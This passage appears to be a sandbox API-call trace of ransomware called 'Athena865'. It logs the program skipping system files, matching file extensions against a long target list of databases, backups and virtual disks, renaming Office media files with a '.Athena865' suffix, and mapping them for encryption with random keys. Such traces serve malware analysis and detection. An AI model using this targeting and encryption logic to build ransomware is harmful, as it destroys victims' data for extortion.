lstrlenW (lpString="ora") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.469] lstrlenW (lpString="orx") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.469] lstrlenW (lpString="owc") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.469] lstrlenW (lpString="p96") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.469] lstrlenW (lpString="p97") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.469] lstrlenW (lpString="pan") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.469] lstrlenW (lpString="pdb") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.469] lstrlenW (lpString="pdm") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.469] lstrlenW (lpString="pnz") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.469] lstrlenW (lpString="qry") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.469] lstrlenW (lpString="qvd") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.469] lstrlenW (lpString="rbf") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.470] lstrlenW (lpString="rctd") returned 4 [0138.470] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.470] lstrlenW (lpString="rod") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.470] lstrlenW (lpString="rodx") returned 4 [0138.470] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.470] lstrlenW (lpString="rpd") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.470] lstrlenW (lpString="rsd") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.470] lstrlenW (lpString="sas7bdat") returned 8 [0138.470] lstrcmpiW (lpString1="9661.WMF", lpString2="sas7bdat") returned -1 [0138.470] lstrlenW (lpString="sbf") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.470] lstrlenW (lpString="scx") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.470] lstrlenW (lpString="sdb") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.470] lstrlenW (lpString="sdc") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.470] lstrlenW (lpString="sdf") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.470] lstrlenW (lpString="sis") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.470] lstrlenW (lpString="spq") returned 3 [0138.470] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.470] lstrlenW (lpString="te") returned 2 [0138.470] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.470] lstrlenW (lpString="teacher") returned 7 [0138.471] lstrcmpiW (lpString1="661.WMF", lpString2="teacher") returned -1 [0138.471] lstrlenW (lpString="tmd") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.471] lstrlenW (lpString="tps") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.471] lstrlenW (lpString="trc") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.471] lstrlenW (lpString="trc") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.471] lstrlenW (lpString="trm") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.471] lstrlenW (lpString="udb") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.471] lstrlenW (lpString="udl") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.471] lstrlenW (lpString="usr") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.471] lstrlenW (lpString="v12") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.471] lstrlenW (lpString="vis") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.471] lstrlenW (lpString="vpd") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.471] lstrlenW (lpString="vvv") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.471] lstrlenW (lpString="wdb") returned 3 [0138.471] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.471] lstrlenW (lpString="wmdb") returned 4 [0138.471] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.472] lstrlenW (lpString="wrk") returned 3 [0138.472] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.472] lstrlenW (lpString="xdb") returned 3 [0138.472] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.472] lstrlenW (lpString="xld") returned 3 [0138.472] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.472] lstrlenW (lpString="xmlff") returned 5 [0138.472] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0138.472] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.Athena865") returned 71 [0138.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.athena865"), dwFlags=0x1) returned 1 [0138.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.474] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13342) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.475] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.475] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.475] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.476] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3720, lpName=0x0) returned 0x154 [0138.477] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3720) returned 0x100000 [0138.478] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.479] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.479] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.480] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.480] CloseHandle (hObject=0x154) returned 1 [0138.480] CloseHandle (hObject=0x17c) returned 1 [0138.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.480] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2=".") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="..") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="windows") returned -1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="bootmgr") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="temp") returned -1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="pagefile.sys") returned -1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="boot") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="ids.txt") returned 1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="ntuser.dat") returned -1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="perflogs") returned -1 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2="MSBuild") returned -1 [0138.481] lstrlenW (lpString="J0199727.WMF") returned 12 [0138.481] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199727.WMF" | out: lpString1="J0199727.WMF") returned="J0199727.WMF" [0138.481] lstrlenW (lpString="J0199727.WMF") returned 12 [0138.481] lstrlenW (lpString="Athena865") returned 9 [0138.481] lstrcmpiW (lpString1="99727.WMF", lpString2="Athena865") returned -1 [0138.481] lstrlenW (lpString=".dll") returned 4 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2=".dll") returned 1 [0138.481] lstrlenW (lpString=".lnk") returned 4 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2=".lnk") returned 1 [0138.481] lstrlenW (lpString=".ini") returned 4 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2=".ini") returned 1 [0138.481] lstrlenW (lpString=".sys") returned 4 [0138.481] lstrcmpiW (lpString1="J0199727.WMF", lpString2=".sys") returned 1 [0138.481] lstrlenW (lpString="J0199727.WMF") returned 12 [0138.482] lstrlenW (lpString="bak") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.482] lstrlenW (lpString="ba_") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.482] lstrlenW (lpString="dbb") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.482] lstrlenW (lpString="vmdk") returned 4 [0138.482] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.482] lstrlenW (lpString="rar") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.482] lstrlenW (lpString="zip") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.482] lstrlenW (lpString="tgz") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.482] lstrlenW (lpString="vbox") returned 4 [0138.482] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.482] lstrlenW (lpString="vdi") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.482] lstrlenW (lpString="vhd") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.482] lstrlenW (lpString="vhdx") returned 4 [0138.482] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.482] lstrlenW (lpString="avhd") returned 4 [0138.482] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.482] lstrlenW (lpString="db") returned 2 [0138.482] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.482] lstrlenW (lpString="db2") returned 3 [0138.482] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.482] lstrlenW (lpString="db3") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.483] lstrlenW (lpString="dbf") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.483] lstrlenW (lpString="mdf") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.483] lstrlenW (lpString="mdb") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.483] lstrlenW (lpString="sql") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.483] lstrlenW (lpString="sqlite") returned 6 [0138.483] lstrcmpiW (lpString1="27.WMF", lpString2="sqlite") returned -1 [0138.483] lstrlenW (lpString="sqlite3") returned 7 [0138.483] lstrcmpiW (lpString1="727.WMF", lpString2="sqlite3") returned -1 [0138.483] lstrlenW (lpString="sqlitedb") returned 8 [0138.483] lstrcmpiW (lpString1="9727.WMF", lpString2="sqlitedb") returned -1 [0138.483] lstrlenW (lpString="xml") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.483] lstrlenW (lpString="$er") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.483] lstrlenW (lpString="4dd") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.483] lstrlenW (lpString="4dl") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.483] lstrlenW (lpString="^^^") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.483] lstrlenW (lpString="abs") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.483] lstrlenW (lpString="abx") returned 3 [0138.483] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.484] lstrlenW (lpString="accdb") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0138.484] lstrlenW (lpString="accdc") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0138.484] lstrlenW (lpString="accde") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0138.484] lstrlenW (lpString="accdr") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0138.484] lstrlenW (lpString="accdt") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0138.484] lstrlenW (lpString="accdw") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0138.484] lstrlenW (lpString="accft") returned 5 [0138.484] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0138.484] lstrlenW (lpString="adb") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.484] lstrlenW (lpString="adb") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.484] lstrlenW (lpString="ade") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.484] lstrlenW (lpString="adf") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.484] lstrlenW (lpString="adn") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.484] lstrlenW (lpString="adp") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.484] lstrlenW (lpString="alf") returned 3 [0138.484] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.485] lstrlenW (lpString="ask") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.485] lstrlenW (lpString="btr") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.485] lstrlenW (lpString="cat") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.485] lstrlenW (lpString="cdb") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.485] lstrlenW (lpString="ckp") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.485] lstrlenW (lpString="cma") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.485] lstrlenW (lpString="cpd") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.485] lstrlenW (lpString="dacpac") returned 6 [0138.485] lstrcmpiW (lpString1="27.WMF", lpString2="dacpac") returned -1 [0138.485] lstrlenW (lpString="dad") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.485] lstrlenW (lpString="dadiagrams") returned 10 [0138.485] lstrcmpiW (lpString1="199727.WMF", lpString2="dadiagrams") returned -1 [0138.485] lstrlenW (lpString="daschema") returned 8 [0138.485] lstrcmpiW (lpString1="9727.WMF", lpString2="daschema") returned -1 [0138.485] lstrlenW (lpString="db-journal") returned 10 [0138.485] lstrcmpiW (lpString1="199727.WMF", lpString2="db-journal") returned -1 [0138.485] lstrlenW (lpString="db-shm") returned 6 [0138.485] lstrcmpiW (lpString1="27.WMF", lpString2="db-shm") returned -1 [0138.485] lstrlenW (lpString="db-wal") returned 6 [0138.485] lstrcmpiW (lpString1="27.WMF", lpString2="db-wal") returned -1 [0138.485] lstrlenW (lpString="dbc") returned 3 [0138.485] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.485] lstrlenW (lpString="dbs") returned 3 [0138.486] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.486] lstrlenW (lpString="dbt") returned 3 [0138.486] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.486] lstrlenW (lpString="dbv") returned 3 [0138.486] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.486] lstrlenW (lpString="dbx") returned 3 [0138.486] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.486] lstrlenW (lpString="dcb") returned 3 [0138.486] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.486] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.Athena865") returned 71 [0138.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.athena865"), dwFlags=0x1) returned 1 [0138.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.488] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2304) returned 1 [0138.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.488] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.489] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.489] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.489] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x154 [0138.491] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc00) returned 0x100000 [0138.492] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.492] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.492] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.494] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199755.WMF" | out: lpString1="J0199755.WMF") returned="J0199755.WMF" [0138.494] lstrlenW (lpString="J0199755.WMF") returned 12 [0138.495] lstrlenW (lpString="Athena865") returned 9 [0138.495] lstrcmpiW (lpString1="99755.WMF", lpString2="Athena865") returned -1 [0138.495] lstrlenW (lpString=".dll") returned 4 [0138.495] lstrcmpiW (lpString1="J0199755.WMF", lpString2=".dll") returned 1 [0138.495] lstrlenW (lpString=".lnk") returned 4 [0138.495] lstrcmpiW (lpString1="J0199755.WMF", lpString2=".lnk") returned 1 [0138.495] lstrlenW (lpString=".ini") returned 4 [0138.495] lstrcmpiW (lpString1="J0199755.WMF", lpString2=".ini") returned 1 [0138.495] lstrlenW (lpString=".sys") returned 4 [0138.495] lstrcmpiW (lpString1="J0199755.WMF", lpString2=".sys") returned 1 [0138.495] lstrlenW (lpString="J0199755.WMF") returned 12 [0138.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.Athena865") returned 71 [0138.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.athena865"), dwFlags=0x1) returned 1 [0138.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.496] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2800) returned 1 [0138.497] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.497] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.497] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.497] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf0, lpName=0x0) returned 0x154 [0138.499] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf0) returned 0x100000 [0138.500] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.500] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.500] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.501] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199805.WMF" | out: lpString1="J0199805.WMF") returned="J0199805.WMF" [0138.501] lstrlenW (lpString="J0199805.WMF") returned 12 [0138.501] lstrlenW (lpString="Athena865") returned 9 [0138.501] lstrcmpiW (lpString1="99805.WMF", lpString2="Athena865") returned -1 [0138.501] lstrlenW (lpString=".dll") returned 4 [0138.501] lstrcmpiW (lpString1="J0199805.WMF", lpString2=".dll") returned 1 [0138.501] lstrlenW (lpString=".lnk") returned 4 [0138.501] lstrcmpiW (lpString1="J0199805.WMF", lpString2=".lnk") returned 1 [0138.501] lstrlenW (lpString=".ini") returned 4 [0138.501] lstrcmpiW (lpString1="J0199805.WMF", lpString2=".ini") returned 1 [0138.501] lstrlenW (lpString=".sys") returned 4 [0138.501] lstrcmpiW (lpString1="J0199805.WMF", lpString2=".sys") returned 1 [0138.501] lstrlenW (lpString="J0199805.WMF") returned 12 [0138.501] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.Athena865") returned 71 [0138.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.athena865"), dwFlags=0x1) returned 1 [0138.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.Athena865" (normalized: 